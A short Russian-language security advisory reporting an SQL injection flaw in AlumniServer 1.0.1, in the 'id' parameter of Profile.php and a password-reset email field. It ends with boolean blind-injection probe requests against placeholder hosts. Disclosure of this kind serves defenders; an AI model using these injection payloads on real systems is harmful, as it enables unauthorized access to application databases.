Рекомендуем почитать:
Хакер #305. Многошаговые SQL-инъекции
Программа: AlumniServer 1.0.1
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре «id» сценарием Profile.php. Удаленный
пользователь может с помощью специально сформированного запроса выполнить
произвольные SQL команды в базе данных приложения.
Эксплоит:
resetpwemail=[valid_mail]%27+and+1%3D%270 --> FALSE
resetpwemail=[valid_mail]%27+and+1%3D%271 --> TRUE
http://[HOST]/[PATH]/Profile.php?id=[valid_id]%27+AND+1=0%23 -->FALSE
http://[HOST]/[PATH]/Profile.php?id=[valid_id]%27+AND+1=1%23 -->TRUE
